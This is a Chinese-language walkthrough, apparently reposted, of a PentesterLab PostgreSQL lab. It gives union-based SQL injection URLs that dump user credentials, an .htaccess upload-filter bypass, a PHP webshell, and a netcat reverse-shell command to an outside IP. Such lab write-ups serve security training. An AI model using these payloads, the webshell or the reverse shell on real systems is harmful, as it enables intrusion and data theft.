PentesterLab-From SQL Injection to Shell: PostgreSQL edition
Posted zlgxzswjy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PentesterLab-From SQL Injection to Shell: PostgreSQL edition相关的知识,希望对你有一定的参考价值。
一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入
由于PostgreSQL与mysql不同,几个关注点需要注意下
二、order by下看看有几个字段
/cat.php?id=1%20order%20by%204 #order by 4正常,5出现报错,说明有4个字段
三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格
http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null
发现只有第二个字段可以出来东西,注入点在第二个字段
四、查看当前库名
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205
五、查看表名
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0
六、查看各个字段,遍历offset
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202
得出有login和password
七、直接通过拼接字符串,读取数据
http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users
八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传
九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过
十、先编写一个.htaccess文件,内容为一下内容,进行上传
AddType application/x-httpd-php .blah
这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析
十一、在上传shell,不过这次shell不是.php后缀名,而是.blah
<?php system($_GET[‘cmd‘]) ?>
十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹
http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash
以上是关于PentesterLab-From SQL Injection to Shell: PostgreSQL edition的主要内容,如果未能解决你的问题,请参考以下文章